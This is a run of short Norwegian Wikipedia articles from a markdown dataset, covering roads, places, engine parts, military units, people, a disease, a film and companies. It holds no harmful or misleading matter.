open-index/open-wikipedia-markdown huggingface dataset:
Fylkesvei 359

**Fylkesvei 359** (**Fv359**) går mellom Bø i Midt-Telemark og Ulefoss i Nome.

Før 1. januar 2010 var veien riksvei, etter at regionsreformen trådte i kraft har den status som fylkesvei. Mellom Ulefoss og Lunde går veien til dels langs eller parallelt med Bandakkanalen.

## Prosjekter og planer
I 2022 begynte anleggsarbeid på 3 km ny strekning Kaste (Ulefoss) og Dagsrud. Bakgrunnen er det eksisterende trange partiet gjennom Stoadalen og Lanna; gjennom Lanna-Odden går veien tett inntil bebyggelsen som til dels er verneverdig og det er noen steder for smalt til at kjøretøy kan møtes. Traseen vil lede trafikken utenom Ulefoss sentrum. Den nye veien kobles til riksvei 36 ved krysset med Romnesvegen og vil krysse Eidselva (Bandakkanalen) på 255 meter lang bro oppstrøms Odden. Mellom riksvei 36 og broen skal veien gå i terrenget nord for Ulefoss hovedgård. Eidselva bro vil få et hovedspenn på 125 meter. Ved Dagsrud vil den kobles til eksisterende trase. Deponert overskuddsmasse fra anlegg av riksvei 36 vil bli brukt. Anlegget ventes å koste rundt 350 millioner kroner og vil delvis bli finansiert med bompenger.

## Kommuner og knutepunkter
###### 

  

## Referanser


## Eksterne lenker
* Vegvesenets vegkart 
*
Det er typisk norsk å være god

«**Det er typisk norsk å være god**» er et kjent sitat fra daværende statsminister Gro Harlem Brundtlands nyttårstale 1. januar 1992.

I talen viste hun til hva nordmenn har fått til internasjonalt, og understreket at norsk næringsliv på samme måte skulle klare seg gjennom de da vanskelige økonomiske tidene.

## Eksterne lenker
*Lydklipp fra talen er tilgjengelig på NRKs nettsider, på området NRK Skole Besøkt 17. april 2020.
Fylkesvei 834

**Fylkesvei 834** (**Fv834**) går mellom Fjær og sentrum i Bodø. Veien er 37,9 km lang. I tillegg kommer fergestrekningen Festvåg-Misten med en lengde på 2,04&nbsp;km.

Før 1. januar 2010 var veien riksvei, etter at regionsreformen trådte i kraft har den status som fylkesvei. Mai 2011 ble en oppgradering av fergeforbindelsen påbegynt. Disse ble avsluttet høsten 2012, slik at forbindelsen kan betjenes av større ferger. To servicebygg har også blitt tatt i bruk.

## Kommuner og knutepunkter

## Referanser

## Eksterne lenker
* Vegvesenets vegkart 
* 
* Fergeruter Festvåg-Misten
Steve Harley & Cockney Rebel

**Steve Harley & Cockney Rebel** er Steve Harleys band som ble grunnlagt i 1972. Det har hatt mange forskjellige medlemmer.

## Medlemmer av Cockney Rebel Band
* John Crocker – fiolin / mandolin / gitar – 1972-1974
* Paul Avron Jeffreys – født 13. februar 1952 – bass – 1973-1974 – døde 21. desember 1988 i flyulykken over Lockerbie
* Milton Reame-James – tangenter – 1973-1974
* Stuart Elliot – trommer – 1973-1977, 2006
* Jim Cregan – født 9. mars 1946 i Yeovil, Somerset – gitar – 1975-1977
* Duncan MacKay – født 2. juli 1950, i Leeds, Yorkshire – tangenter – 1975-1977
* George Ford – bass – 1975-1977

## Eksterne lenker
* 
*
Sirenomeli

**Sirenomeli**, også kalt **havfruesyndrom**, er en medfødt tilstand som skyldes en celledelingsfeil, hvor det visuelle særtrekket er manglende kjønnsorgan og at bena er sammenvokst fra hoftene og ned. Sirenomeli kan kun oppdages ved ultralyd, er ikke arvelig og den genetiske koden er ikke kjent. Tilstanden er sammensatt, og barna har som regel et komplisert diagnosebilde, ofte med flere dødelige elementer, blant annet redusert/manglende nyrefunksjon, svakt utviklede lunger og forandringer i hjerne/hjernebark. De få på verdensbasis som har overlevd første levemåned, har alle hatt minst en fungerende nyre. Diagnosen er meget sjelden. I Norge fødes ett sirenomelibarn hvert 4-5 år. 

## Eksterne lenker
* ''Se så glad! «Havfrue»-opererte Milagros (1) i god form'' - VGnetts artikkel om Milagros Cerron
McDonnell Aircraft Corporation

**McDonnell Aircraft Corporation** var en amerikansk flyprodusent, med base nær St. Louis, Missouri. Det ble grunnlagt i 1939 av James Smith McDonnell og slått sammen med Douglas Aircraft Company i 1967. Det nye selskapet fikk navnet McDonnell Douglas. Senere ble McDonnell Douglas kjøpt opp av Boeing. 

Andre verdenskrig var en avgjørende faktor til at firmaet vokste fra 15 ansatte i 1939 til 5&nbsp;000 ved slutten av krigen. Selskapet produserte flere typer fly og flydeler.

## Utvalg av McDonnell-produkter

* McDonnell XP-67
* FH Phantom
* F2H Banshee
* XF-85 Goblin
* XF-88 Voodoo
* F3H Demon
* F-101 Voodoo
* F4H Phantom II
* Mercury (romkapsel)
* Gemini (romkapsel)

## Eksterne lenker
* The McDonnell Aircraft Corporation – Historie om selskapet (engelsk)
* Boeing.com – Biografi om James Smith McDonnell (engelsk)
Østerøya

**Østerøya** er en halvøy i Sandefjord kommune. Den avgrenses i vest av Mefjorden og i øst av Tønsbergfjorden. Sjømerket Tønsberg tønne ligger ytterst på halvøya.

På sydspissen av halvøya ligger Yxney, et turområde med bade- og fiskeplasser. Her ligger også Strandvika naturreservat. Dette er en «svartor-sumpskog» som er en sjelden og artsrik biotop. Her finnes store mengder ramsløk, sverdlilje og orkideen vårmarihånd.

## Historie
Østerøya og nabohalvøya Vesterøya var tidligere *ekte* øyer, slik at det på 800-tallet var mulig å seile innaskjærs mellom Sandefjord og Tønsbergfjorden. Øyene het da Yxney og Veløy. Østerøya var befestet under siste verdenskrig.

## Annet
Spillefilmen *[[Hodet over vannet]]*, regissert av Nils Gaup, ble spilt inn på sydspissen av Østerøya.

## [[Strand|Strender]]
* Skjellvika
* Flautangen
* Nordre Trubervika
* Strandvika
* Ertsvika

## Referanser
Vesterøya

**Vesterøya** er en halvøy utenfor Sandefjord. Den avgrenses i vest av Sandefjordsfjorden og i øst av Mefjorden. Vesterøya består av boligområder, industri og friområder. 

## Historie
Vesterøya og nabohalvøya Østerøya var tidligere *ekte* øyer, slik at det på 800-tallet var mulig å seile innaskjærs mellom Sandefjord og Tønsbergfjorden.

Under den tyske okkupasjonen av Norge under andre verdenskrig ble Folehavna fort anlagt ytterst på øya. Deler av anlegget ble overtatt av Kystartilleriet, men den militære aktiviteten ble lagt ned i 1993. Området er i dag et friområde.

## [[Strand|Strender]]
* Asnes
* Tangen
* Sjøbakken
* Langeby
* Albertstranda (østre Langeby)
* Vøra
* Fruvika
* Grubesand
* Briskebakken
* Folehavna
* Langestrand
* Ormestadvika

Fil:Sandefjord Langeby.JPG|Langeby
Fil:Sandefjord Voera.JPG|Vøra
Fil:Sandefjord Tangen north.JPG|Tangen nord
Fil:Sandefjord Tangen south.JPG|Tangen sør
Tel Dan

**Dan** (hebraisk: ) er en by nevnt i *[[Bibelen]]*, beskrevet som den nordligste byen i kongedømmet Israel, tilhørende Dans stamme. Byen er lokalisert på en høyde i øvre Galilea i det nordlige Israel. Den er identifisert med tillegget *tel* kjent som Tel Dan («Dans høyde») eller *Tel el-Qadi* («Dommernes haug», på arabisk تل القاضي, noe som er bokstavelig oversettelse av det hebraiske navnet Tel Dan, hvor «Dan» betyr «dommer» (høvding) i Israel.

På dette arkeologiske stedet ble det i 1993 og 1994 funnet tre fragmenter av en kongelig stele, *[[Tel Dan-stelen]]*, skrevet på arameisk. Stelen dateres til siste halvdel av 800-tallet f.Kr. I stelens innskrift hevder en arameisk konge eller hærfører at han har slått «Davids hus». Noen tolker det som kongen av Jerusalem og kongen av Israel i krig. Dette kan være den eldste omtale av kong David som finnes utenfor Bibelen, og den eldste omtale av Israel fra en utenombibelsk kilde i Levanten.

## Identifikasjon

Dan ble først identifisert av den amerikanske bibelforskeren Edward Robinson i 1838, og har siden blitt identifisert med det arkeologiske stedet Tel Dan hvor *[[Dommernes bok]]* 18:27-29 hevder var kjent som *Lajisj* før den ble erobret av Dans stamme, mens den i *[[Josvas bok]]* 19:47 ble kalt for *Lesjem*.

## Referanser


## Eksterne lenker
*
Veivaksel

**Veivaksel** i en stempelmotor finnes under sylindrene og er koblet til stemplene ved hjelp av råder. Når stemplene går opp og ned i såkalte takter, går veivakselen rundt. Veivakselen er i de fleste motorer i den ene enden koblet til en girkasse via en clutch, og har flere reimhjul i den andre enden som driver kamakselen, vannpumpa, dynamoen, eventuelt vifte, klimaanlegg, kompressor og så videre.

Veivakselen går rundt i glidelagere, og er avhengig av å bli smurt kontinuerlig. 

På en 4-takts motor vil motorens oljepumpe pumpe olje ut av små smørehull i glidelagrene. Dersom motoren blir startet uten olje eller med for lite oljetrykk, er disse lagrene gjerne det første som ryker. Veivakselen kan sees ved å skru av motorens bunnpanne.

På en 2-takts motor holdes lagrene vedlike av smørende egenskaper i damp eller partikler fra drivstoffet som kommer i kontakt med veivakselen. 2-takts bensinmotorer bruker derfor oljeblandet bensin.

I en dampmaskin er lagrene gjerne smørbare med fett-nipler.

## Se også
* Krank, på sykler en tråmekanisme for å konvertere frem- og tilbakegående bevegelse til roterende bevegelse
* Trampemekanisme, en annen type tråmekanisme kjent fra vevstol, rokk og trampesykler

## Litteratur

*
BMW E65

**BMW E65** er en tidligere modell i BMWs 7-serie. E65 fikk en litt blandet mottakelse da den kom i 2002. Dette var den andre modellen som fikk den nye designprofilen til sjefsdesigneren Chris Bangle, og både 3-serie og 5-serie hadde nå fått denne designprofilen. Mange mente Bangle var mannen som frisket opp BMW, andre ikke.

Her ble det også delt opp i litt kodenavn, selv om E65 finnes bare som sedan. E65 er koden for vanlig versjon, mens E66 er koden for langversjonen, en såkalt IL. E67 er en såkalt 7er Protection, dvs. en E66 med punkteringsfrie dekk, skuddsikre vinduer og dører og andre beskyttelseselementer. E67 er forbeholdt statsoverhoder o.l.

* **730d** diesel, rekkesekser 170&nbsp;kW, 231&nbsp;hk, 520&nbsp;Nm
* **730Ld** diesel, rekkesekser 170&nbsp;kW, 231&nbsp;hk, 520&nbsp; Nm
* **730i** bensin, rekkesekser 190&nbsp;kW, 258&nbsp;hk, 300&nbsp; Nm
* **730Li** bensin, rekkesekser 190&nbsp;kW, 258&nbsp;hk, 300&nbsp; Nm
* **735i** bensin V8 200&nbsp;kW, 272&nbsp;hk, 360&nbsp; Nm (Utgått ved facelift)
* **740i** bensin V8 225&nbsp;kW, 306&nbsp;hk, 390&nbsp; Nm
* **740Li** bensin V8 225&nbsp;kW, 306&nbsp;hk, 390&nbsp; Nm
* **745i** bensin V8 245&nbsp;kW, 333&nbsp;hk, 450&nbsp; Nm (Utgått ved facelift)
* **745Li** bensin V8 245&nbsp;kW, 333&nbsp;hk, 450&nbsp; Nm (Utgått ved facelift)
* **745d** diesel V8 220&nbsp;kW, 300&nbsp;hk, 700&nbsp; Nm
* **750i** bensin V8 270&nbsp;kW, 367&nbsp;hk, 490&nbsp; Nm
* **750Li** bensin V8 270&nbsp;kW, 367&nbsp;hk, 490&nbsp; Nm
* **760i** bensin V12 327&nbsp;kW, 445&nbsp;hk, 600&nbsp; Nm
* **760Li** bensin V12 327&nbsp;kW, 445&nbsp;hk, 600&nbsp; Nm

## Referanser




## Eksterne lenker
*
Kamaksel

**Kamakselen** på en bensinmotor åpner og lukker ventilene på motoren. Dette gjøres for å ta inn luft/bensin og blåse ut eksos. Kamakselen er som regel forbundet med veivakselen med en registerreim.

Tradisjonelt har man i en 4-sylindret motor én inntaksventil og én utblåsventil per sylinder, tilsammen 8 ventiler. I mange nyere motorer har man 16 ventiler. En 16V motor har to kamaksler; en til inntaksventilene og en til utblåsventilene. Grunnen til at man bruker fire ventiler for hver sylinder er at motoren skal puste lettere. Ventilene åpnes samtidig; grunnen til at det brukes doble kamakseler er at det ikke er nok plass til alle ventilløfterne på en enkel aksel.

Man kan se kamakselen ved å skru av toppdekselet på motoren. Disse er gjenstand for utbytting ved trimming av motoren, da kamakselens profil har mye å si for hvordan motoren yter ved høye turtall.
Sandefjordsfjorden

**Sandefjordsfjorden** er en omtrent 9 km lang fjord i Sandefjord kommune. Den ligger vest for Vesterøya. Innerst i fjorden ligger byen Sandefjord. 

Innløpet til fjorden er mellom Holtskjæra i øst og Kjerringholmene i vest, og i den ytre delen av fjorden grenser den til Larvik kommune i vest. 

Av viker og bukter i fjorden finner man Folehavna, Håkarvika, Rørvika, Slottsvika og Korsvika. 

I 2006 var det en diskusjon i byen om man skulle kutte ned navnet til bare «Sandefjorden» da en politiker synes det ble litt «smør på flesk» med Sandefjordsfjorden. Men det ble ikke byttet navn så fjorden har ennå sitt opprinnelige navn.
Mefjorden (Sandefjord)

**Mefjorden** er en fjord i Sandefjord kommune i Vestfold. Den ligger mellom Østerøya og Vesterøya.

Mefjorden har en rekke mindre holmer og skjær, og er et populært område for båtfolk om sommeren. Mye av kystlinjen består av hytter som strekker seg helt ned i vannkanten. Flere av holmene har også hytter, blant annet Grindholmen, Storholmen og Brattholmen.

## Referanser
Post mortem

**Post mortem** (av latin: *etter døden*, tidvis forkortet *p.m.*) er en betegnelse som har fem hovedbruksområder:
# Juridisk oppreisning for en feilaktig strafferettslig domsavgjørelse. Frikjennelse *post mortem* (renvasking av en avdøds rykte).
# Tildeling av utmerkelse. I forbindelse med utdeling av utmerkelse post mortem, betyr det i praksis at medaljen overrekkes den dødes nærmeste familie/slekt.
# I forbindelse med rettsmedisinske undersøkelser: Skader på offeret som har skjedd etter offerets død.
# Alminnelig kortform av *post mortem-undersøkelse*, likskue eller obduksjon (autopsi).
# Undersøkelse av slaktedyr etter de er avlivet som en del av kjøttkontroll.

Innen medisin og kriminologi er også det latinske uttrykket «**[[ante mortem]]**» (*før døden*) benyttet.

## Se også
*''Post mortem'' (1990), en kriminalroman skrevet av Patricia Cornwell
**[[Post Mortem: Ingen dør på Skarnes]]*, norsk TV-serie fra 2021
*Posthum

## Referanser
Råde (motordel)

**Råde** (fra engelsk: *rod*) eller **veivstang** er koblingen mellom et stempel og veivakselen i en stempelmotor. Det er en råde for hvert stempel.

Dersom en råde knekker slår den mest sannsynlig hull i motorblokka, og motoren er ødelagt. 

En råde kan man få i forskjellige lengder som da igjen er knyttet til kompresjon.
__NOTOC__
## Rådelager

**Rådelageret** er et lager som består av to halvsirkelformede lagerskåler plassert der råden er festet på veiva på veivakselen.

Når motoren startes og oljetrykket stabiliserer seg, sprøytes det olje under trykk inn i rådelagrene, og veiva hviler direkte på en film av olje og er ikke i kontakt med rådelageret i det hele tatt. Rådelagrene slites mer når motoren går på høyt turtall. Er rådelagrene utslitt, holdes ikke oljefilmen som sprøytes inn der permanent, da veivas slående bevegelser banker oljefilmen vekk, og rådelagrene slites, siden veiva  banker direkte mot lagrene, uten filmens beskyttelse, samtidig som at veiva også slites litt etter litt for hver omdreining, og det kan slites spor i veiva. Når veiva slites og slår mot rådelagrene høres en jevn bankende lyd i motoren. Dette kalles **rådebank**.

## Referanser


## Litteratur
*

## Eksterne lenker
*
Åttende armé (USA)

**Åttende armé** (***Eighth Army***) er en armé i den amerikanske hæren, med ansvar for alle hærens styrker i Sør-Korea.

Åttende armé ble opprettet 10. juni 1944 under generalløytnant Robert Eichelberger. Forbandet tok del i mange av de store amfibiske landgangene i stillehavsområdet under annen verdenskrig. Det første oppdraget, i september 1944, var å avløse Sjette armé på Ny-Guinea, New Britain, Admiralitetsøyene og Morotai for å frigjøre denne til operasjoner på Filippinene.

## Eksterne lenker
*
Første armé

**Første armé** har flere betydninger:

*Første armé (Australia)
*Første armé (Bulgaria)
*Første armé (Canada)
*Første armé (Sovjet)
*Første armé (Storbritannia)
*Første armé (Tyskland)
*Første armé (USA)
Annen armé

**Annen armé** har flere betydninger:

*Annen armé (Bulgaria)
*Annen armé (Sovjet)
*Annen armé (Storbritannia)
*Annen armé (Tyskland)
*Annen armé (USA)
St. Martin-in-the-Fields

**St Martin-in-the-Fields** er en anglikansk sognekirke ved det nordøstre hjørnet av Trafalgar Square i City of Westminster, London. 

Den tidligste referansen til kirken er fra 1222, da det var en disputt mellom abbeden av Westminster og biskopen av London om hvem som hadde kontroll over den. Avgjørelsen gikk til abbediets fordel, og munkene der brukte den. I 1542 ble den ombygd av Henrik VIII. Det var antagelig på denne tiden av den fikk tilnavnet *in-the-Fields*, fordi den bokstavelig talt lå ute på jordene mellom Westminster og London. 

Den isolerte beliggenheten førte til at kirken overlevde bybrannen i 1666. I 1721 ble den allikevel erstattet av en ny bygning, tegnet av James Gibbs. Designen ble sterkt kritisert i samtiden, men den ble senere svært kjent og er kopiert mange steder i USA. Den har en gavl i klassisk stil og korinthiske søyler. Det høye klokketårnet har en forgylt krone på toppen. 

Kirken er nært knyttet til kongefamilien. Kong Georg I var *[[churchwarden]]* der, og dronning Mary gikk regelmessig dit. Admiralitetet har sitt hovedkvarter innenfor sognet, og føler derfor tilknytning dit. Royal Navys flagg *[[White Ensign]]* henger over alteret, sammen med flagget til *Admiralty Board*. Tradisjonelt ringes det med klokkene når en seier til sjøs skal proklameres. 

Blant kjente personer som er gravlagt i kirken finner man Robert Boyle, Nell Gwynne, William Hogarth, sir Joshua Reynolds, Jack Sheppard og Thomas Chippendale. 

St Martin-in-the-Fields er i nyere tid kjent for å ha en åpen dør, ikke bare i den forstand at den er åpen for allmemnheten hele døgnet, men også fordi det gjøres mye arbeid for hjemløse og fattige der. Ved lunsjtid er det ofte gratiskonserter, og mange berømte ensembler opptrer i kirken. 

I krypten er det en kafé, og der finner man også London Brass Rubbing Centre. Det er også et marked utenfor kirken. Hjemløse er alltid velkomne til å varme seg der, og mye av inntektene fra kollekt og salg av varer går til å hjelpe fattige. 

Sommeren 2005 begynte et restaurerings- og utvidelsesprosjekt til 34 millioner pund. Dette inkluderer 14,9 millioner fra Heritage Lottery Fund. 

## Referanser
He Zizhen

**He Zizhen** (1910–1984) var Mao Zedongs tredje hustru, fra mai 1928 til 1939.  

Hun ble med i den kommunistiske ungdomsliga i 1925. Etter at hun ble ferdig med skolegangen ble hun medlem av Det kinesiske kommunistparti i  1926. 

He Zizhen ble introdusert for Mao Zedong i Jinggangshan av Yuan Wencai, en klassekamerat av hennes eldre bror, våren 1928. I 1937 ble hun sendt til Sovjetunionen for legebehandling, og vendte ikke tilbake til Kina før i 1948.  Høsten 1949 ble hun leder for Zhejiangs kvinneforbund.

He Zizhen fikk tre døtre og tre sønner med Mao Zedong, men med unntak av datteren Li Min døde de alle unge, eller ble skilt fra familien under «den lange marsjen».

## Litteratur
* Lily Xiao Hong Lee, Sue Wiles: *Women of the Long March*, Allen & Unwin Pty., Limited (Australia) (March 2000), ISBN 1-864-48569-8
* Rebecca Karl: *Mao Zedong and China in the Twentieth-Century World*. (2010). Durham: Duke UP. ISBN 978-0822347958

## Fotnoter


## Referanser
Jon Rønningen

**Jon Rønningen** (født 1962) er en norsk tidligere olympisk mester i bryting. Han var medlem av Oslo Bryteklubb, før han gikk til Kolbotn Idrettslag.

## Karriere
I løpet av brytekarrieren vant han totalt ni medaljer i internasjonale mesterskap. Han vant to individuelle gullmedaljer i Sommer-OL (OL 1988 i Seoul og OL 1992 i Barcelona). Han ble også nummer fem under lekene i Los Angeles i OL 1984.

Rønningen ble verdensmester i 1985, tok VM-sølv i 1986. Han ble europamester i 1990, fikk sølv i 1988 og bronse i 1986. Han har syv nordiske mesterskap.

I NM har Rønningen tatt tittelen 12 ganger i tre ulike vektklasser: 48 kg i 1979 og 1980, 52 kg i 1981 til 1983 og 57 kg i 1985 til 1991, og har en kongepokal.

Rønningen er en av seks nordmenn som er olympisk mester to ganger i en individuell øvelse i Sommer-OL, sammen med Otto Olsen, Ole Lilloe-Olsen, Knut Holmann, Andreas Thorkildsen, Olav Tufte og Eirik Verås Larsen.

Etter VM-gullet i 1985 mottok han Morgenbladets gullmedalje. I 1988, etter OL-gullet, ble han tildelt Sportsjournalistenes statuett som *årets idrettsnavn* i Norge, samt Fearnleys olympiske ærespris.

## Medaljer i norske mesterskap

## Familie
Hans tre år yngre bror, Lars er Europamester fra 1988, i gresk-romersk bryting. Jon Rønningen er far til Thomas og Anders Rønningen, tvillinger som har dominert brytesporten nasjonalt på slutten av 2000-tallet. Han er også onkel til tidligere alpinist Elias Rønningen.

## Referanser


## Kilder
* *Hode i klemme : Om å seire og å gå til grunne : En norsk bryters fortelling*, Kagge forlag (2017) ISBN 9788248920359.
* Profil hos Norges Bryteforbund. 

## Eksterne lenker
* 
*
Dysenteri

**Dysenteri** er en akutt diarésykdom forårsaket av bakterier eller amøber. (Infeksjon i tykktarmen forårsaket av en protozo som kalles *Entamoeba histolytica*, refereres ofte til som «amøbe-dysenteri».) Dysenteri spres via forurenset vann og mat, og fra menneske til menneske.

Symptomene er feber, blodig avføring, diaré og magesmerter. Dødeligheten er ofte høy. Det finnes ingen vaksiner mot dysenteri. Selv om antibiotika kurerer sykdommen, har flere typer dysenterifremkallende organismer blitt resistente.

Risikoen for dysenteri øker vesentlig der mennesker lever tett på hverandre uten tilgang til rent vann og latriner. Dysenteri forebygges på samme måte som kolera.

På norrønt het sykdommen ***abbindi***, egentlig «kramper i endetarmen», men **blodsott** og **utsott** betegnet det samme. Nordens apostel Ansgar døde av dysenteri i 865, og Svend Tjugeskjeggs følge ble syke under et tokt til England. Sykdommen var kjent for å være ytterst smittsom, og i 1619 utstedte Christian 4. en forordning som fritok leger for å besøke dysenteripasienter.

## Referanser


## Eksterne lenker
*
Harstad folkeskole

**Harstad folkeskole** var den sentrale folkeskolen i Harstad inntil 1964, da den gikk over til å bli Harstad barneskole i forbindelse med opprettelsen av Harstad ungdomsskole i eget nybygg øst for (nedenfor) gammelskolen. Bygget, som er fra 1918, ligger i skråningen nordvest for sentrum i St. Olavsgate, men grenser også til Skolegata i nord. Skolebygningen ble tatt i bruk fra sommeren 1919.

Bygningen er rektangulær, i tre etasjer pluss kjeller, og har mansardtak med svai. Den er symmetrisk oppbygd med siderisalitter og to innganger, som er markert med imitert kvader og brutt pediment. Dens hjørner er også framhevet ved kvaderimitasjon. Skolebygningen har stilelementer i hovedsak fra nybarokk, men også fra jugendstil. Jugendstilen sees spesielt i vinduene, f.eks. det ovale vinduet og en blanding av små og store ruter.

Trapperommene ble i 1957 utsmykket av skolens tidligere elev Karl Erik Harr.

Det råder usikkerhet rundt hvem som var arkitekt for skolebygget. Det var enten Sigurd Bjørhovde eller Lars Solberg, eller så var prosjektet et samarbeid mellom dem.

## Referanser


## Eksterne lenker
* Harstad folkeskole (Harstad Primary School) på Arkitekturguide for Nord-Norge og Svalbard
Kirovsk

**Kirovsk** (russisk: Ки́ровск, før 1934 Хибиного́рск, Khibinogorsk) er en gruveby i Murmansk oblast i Russland ved foten av Khibiny-fjellene. Byen hadde .

Byen ble grunnlagt i 1929 etter oppstart av apatitt- og nefelinitt-utvinning. Byen har en filial av Det russiske vitenskapsakademi, en botanisk hage *Kirovsk vennskapshage*, et eget ballettensemble *Kirovskballetten* og et stort alpinanlegg i Khibiny-fjellene. Byen er Harstads vennskapsby.

## Referanser


## Eksterne lenker
* 
* Kirovsk: Info, News, Photos, Map
Katrin Apel

**Katrin Apel** (født 4. mai 1973 i Erfurt) er en tysk tidligere skiskytter.

Katrin Apel var opprinnelig langrennsløper, men gikk over til skiskyting etter at hun ikke klarte å kvalifisere seg til det tyske laget til OL 1994 på Lillehammer.

## Meritter
### OL
* Nagano 1998: gull på stafetten, bronse på sprinten 
* Salt Lake City 2002: gull på stafetten 
* Torino 2006: sølv på stafetten

### VM
* Ruhpolding 1996: gull på stafetten og i lagkonkurransen 
* Brezno-Osrblie 1997: gull på stafetten 
* Kontiolax 1999: gull på stafetten 
* Oslo 2000: sølv på sprinten og stafetten
* Pokljuka 2001: sølv på stafetten 
* Oberhof 2004: sølv i fellesstart, bronse på stafetten
* Hochfilzen 2005: sølv på stafetten

I verdenscupen sammenlagt er hennes beste plassering en femteplass i sesongen 2001/02.

## Referanser


## Eksterne lenker
* 
*
6. divisjon (andre betydninger)

**6. divisjon** kan vise til:

*6. divisjon fotball for herrer

*6. divisjon (Norge) – en infanteridivisjon i Norge
*6. divisjon (Australia) – et forband i den australske hæren under andre verdenskrig
*6. divisjon (Storbritannia) – en britisk divisjon under første verdenskrig
*6. infanteridivisjon (Storbritannia) – under andre verdenskrig
*6. infanteridivisjon (USA) – fra Amerikas forente stater
*6. panserdivisjon – fra Amerikas forente stater
6. divisjon (Storbritannia)

**6. divisjon** var en permanent regulær divisjon i den britiske hæren, opprettet for tjeneste i Krimkrigen. Den ble sendt til Frankrike 10. september 1914. Den kjempet på vestfronten under hele første verdenskrig.  Under andre verdenskrig var ikke divisjonen samlet.  Divisjonen ble gjenopprettet i 2008 med 55 personer, for å fungere som et deployerbart hovedkvarter. Foreløpig er det bestemt av hovedkvarteret skal bestå fram til 2011.

Divisjonens emblem er en hvit sirkel på svart bakgrunn.

## Eksterne lenker
* The British Army in the Great War: The 6th Division (engelsk)
* A Short History of the 6th Division in WW1 (engelsk)
Femte armé (USA)

**Femte armé** (***Fifth Army***) er en armé i den amerikanske hæren, med ansvar for opplæring og mobilisering av avdelinger i Nasjonalgarden.

Armeen ble opprettet 4. januar 1943 som et av hærens fremste forband i middelhavsområdet under annen verdenskrig. Femte&nbsp;armé fikk ansvar for forsvaret av Algerie og Marokko, samt planleggingen av amerikanernes deltagelse i invasjonen av det italienske fastlandet.

## Eksterne lenker
*
Vestkanten

**Vestkanten** har mer enn en betydning:
*Vestkanten var en gratisavis i Oslo (heter nå Lokalavisen Frogner)
*Vestkanten er et kjøpesenter i Bergen
* De vestlige delene av Oslo, dominert av de sosialt og økonomisk best stilte delene av befolkningen
III korps (USA)

**III korps** (***III Corps***) er et korps i den amerikanske hæren, med hovedkvarter på Fort Hood i Texas. Korpsets hovedelementer er 1. kavaleridivisjon, 4. infanteridivisjon og 3. panserkavaleriregiment.

III&nbsp;korps ble opprettet 16. mai 1918 i Frankrike og deltok i seks felttog under første verdenskrig. Det ble demobilisert 9. september 1919.

Under annen verdenskrig ble korpset remobilisert 27. juni 1944. Det kjempet gjennom Europa, først i felttoget i Nord-Frankrike, deretter i Rhinland, Ardennes-Alsace og Sentral-Europa.

Korpset ble deaktivert 10. oktober 1946, for deretter å bli remobilisert fra 1951 til 1959 før det ble permanent aktivert i 1961.

I 2004 ble korpshovedkvarteret deployert til Irak for å avløse V korps i ledelsen av de amerikanske styrkene i landet.

## Eksterne lenker
*
We Were Soldiers

***We Were Soldiers*** er en amerikansk spillefilm fra 2002 som omhandler slaget om Ia Drang under Vietnamkrigen. Filmen er basert på boken *[[We Were Soldiers Once…And Young]]* av oberstløytnant Harold G. Moore, som ledet de amerikanske styrkene, og reporteren Joseph L. Galloway, som var til stede under slaget. Regien er ved Randall Wallace, mens Mel Gibson har hovedrollen som oberstløytnant Moore.

Filmen tar kun for seg den første halvdelen av slaget i Ia Drang, som fant sted ved landingssted «X-Ray». Etter at Moores tropper hadde forlatt landingsstedet var soldatene fra kompani&nbsp;C, som hadde kommet for å støtte Moores tropper, nødt til å marsjere til landingssted «Albany». Oberstløytnant Robert McDade, sjefen for disse soldatene, begikk en taktisk feil på veien da han kalte frem alle sine avdelingssjefer for å forhøre to ubevæpnede nordvietnamesiske soldater. Et bakholdsangrep gjorde at avdelingene ble skilt fra sine ledere og de amerikanske troppene led store tap.

Boken av Moore og Galloway dekker imidlertid hele slaget.

## Rolleliste

## Se også
* 1. kavaleridivisjon

## Eksterne lenker
*
Råde (andre betydninger)

**Råde** kan vise til:

* Råde – kommune i Østfold
* Råde (motordel) – motordel, koblingen mellom et stempel og veivakselen
Militær avdeling

En **militær avdeling** er en ensartet troppeenhet i et forsvarsvesen, bestående av soldater fra samme våpenart. Eksempler på avdelinger er infanteribataljoner, kavalerieskadroner og artilleribatterier. Flere avdelinger kan settes sammen til forband som brigader, divisjoner og korps.

## Hierarki
Ifølge standarden *[[APP-6A|NATO APP-6A]]* gjelder følgende avdelingshierarki i NATO:
* bataljon (*battalion*) II
** kompani/eskadron/batteri (*company/squadron/battery*) I
*** tropp (*platoon*) •••
**** gruppe (*section*) ••
***** lag (*squad*) •
****** patrulje (*team/crew*) ø

## Referanser
3M

**3M Company** (opprinnelig **Minnesota Mining and Manufacturing Company**) er et amerikansk verdensomspennende konsern som produserer over 55&nbsp;000 forskjellige produkter, inkludert limbånd, sandpapir, laminat, elektroniske kretser og skjermer, og farmasøytiske produkter, men kanskje mest kjent for sin produksjon av  Post-it.

Selskapet ble grunnlagt i Two Harbors i Minnesota i 1902 og flyttet til Duluth i Minnesota før det til slutt etablerte sitt nåværende hovedkontor i Maplewood utenfor Saint Paul i 1910. Blant selskapets første oppfinnelser var vannsikkert sandpapir, maskeringstape, cellofantape (gjennomsiktig limbånd), lyddempende materialer og Post-it oppfunnet av 3M forsker Spencer Silver i 1968.

## Referanser


## Eksterne lenker
*
Håndkyss

**Håndkyss** er et kyss på en annen persons hånd. Det er et høflig ritual, en gestus for å hilse og vise respekt. Det initieres av kvinnen som holder ut sin høyre hånd med håndflaten nedover. Mannen som kysser, bukker mot den tilbudte hånden og rører den symbolsk med leppene, mens han lett holder hånden. I moderne tradisjon vil leppene normalt ikke faktisk berøre hånden. Gesten varer mindre enn et sekund.

En håndkyss kan gis av høflighet, underdanighet eller kjærlighet. Håndkysset av kjærlighet er mer enn en gest. Dersom en mann vil vise særlig respekt for en dame bøyer han kne for henne, før han kysser hånden respektfullt. I spesielt trafisjonssbundne samfunn eller familier er det fremdeles den normale form for frieri. 

I mange århundrer var håndkysset, spesielt i adelige og høyborgerlige kretser, den normale måte en mann hilste en dame på. Det ble regnet som ufint å avvise en tilbudt hånd. Kvinnen som tilbyr håndkysset bør være av samme eller høyere sosial stand enn mannen.

Tradisjonen har særlig holdt seg i Østerrike, hvor den ble pleiet langt inn i det tyvende århundre og fremdeles sees ved spesielle foranstaltninger, som ved operaballet i Wien og på danseskoler, samt i enkelte samfunnskretser. Også hilsenen *Küss die Hand* var vanlig i Østerrike opp til ganske nylig.

